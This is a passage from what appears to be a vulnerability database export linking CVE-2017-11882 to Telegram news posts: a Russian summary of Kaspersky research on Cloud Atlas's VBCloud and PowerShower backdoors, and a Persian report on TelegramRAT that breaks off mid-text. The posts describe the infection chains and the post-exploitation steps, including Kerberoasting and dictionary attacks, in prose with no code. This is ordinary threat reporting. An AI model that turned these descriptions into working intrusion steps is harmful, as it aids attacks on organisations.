"https://t.me/EchelonEyes/3514", "content": "\u041d\u043e\u0432\u044b\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 Cloud Atlas \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a Cloud Atlas, \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBCloud \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\u00bb \u0432 2024 \u0433\u043e\u0434\u0443. \u0411\u043e\u043b\u0435\u0435 80% \u0436\u0435\u0440\u0442\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2013 \u0432 \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Cloud Atlas \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0435\u0449\u0435 \u0441 2014 \u0433\u043e\u0434\u0430. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u043e\u043d\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d. \u0410 \u0432 2023 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438. \u041e\u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0432 \u0441\u0435\u0431\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0412 \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF-\u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, CVE-2018-0802, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0430\u043f\u043a\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nKaspersky \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0446\u0435\u043b\u044b\u0445 \u0441\u0435\u043c\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a PowerShell. \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f \u0438 \u0438\u0445 \u0447\u043b\u0435\u043d\u043e\u0432 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0441\u043b\u0443\u0436\u0431 Active Directory (ADSI), \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 PowerShell \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Kerberoasting (\u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 Active Directory), \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0433\u0440\u0443\u043f\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 ProgramData \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445 (\u0431\u0443\u043a\u0432\u0430 \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e), \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0444\u0430\u0439\u043b\u0430\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 Telegram. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://securelist.com/cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/ \n\n#\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435\u041f\u041e #malware", "creation_timestamp": "2026-07-28T00:00:49.376753Z"}, {"uuid": "3677d43e-cfe2-4833-a255-33549b8f1a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/7318", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631 TelegramRAT \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0622\u0641\u06cc\u0633 \u0648 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062a\u0644\u06af\u0631\u0627\u0645 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0634\u0631\u06a9\u062a Netskope \u0647\u0634\u062f\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0631\u0648\u062c\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0647 \u0627\u062e\u06cc\u0631\u0627\u064b \u06a9\u0634\u0641 \u0634\u062f \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0633\u0646\u0627\u062f\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u062f\u0631 \u0648\u0627\u0642\u0639 TelegramRAT\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u06cc\u0627\u0645\u200c\u0631\u0633\u0627\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0631\u0627\u06cc \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0633\u062a\u0631 \u0630\u062e\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u0628\u0631\u06cc \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0648\u062f \u0631\u0627 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0647\u062f\u06cc\u062f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u0631\u062e\u06cc \u0627\u0632 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 TelegramRAT \u0628\u0627 \u06cc\u06a9 \u0633\u0646\u062f \u0622\u0641\u06cc\u0633 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u062f\u0631 Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0645\u0627\u0647 \u06af\u0630\u0634\u062a\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u060c \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u060c \u0627\u0645\u0627 \u0637\u0648\u0644\u06cc \u0646\u06a9\u0634\u06cc\u062f \u06a9\u0647 \u0639\u0627\u0645\u0644\u0627\u0646 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0646 \u06a9\u0631\u062f\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0647\u062f\u0627\u06cc\u062a \u0646\u0634\u0627\u0646\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc Bit.ly \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc TelegramRAT \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u062f\u0631\u0627\u067e\u200c\u0628\u0627\u06a9\u0633 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0634\u062f\u0647\u060c \u067e\u0646\u0647\u0627\u0646 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0627\u0632 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f \u0648 \u067e\u0627\u0633\u062e\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0627\u0628\u0631\u06cc SSL \u0628\u0631\u0627\u06cc \u0622\u0644\u0648\u062f\u06af\u06cc \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0627 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc 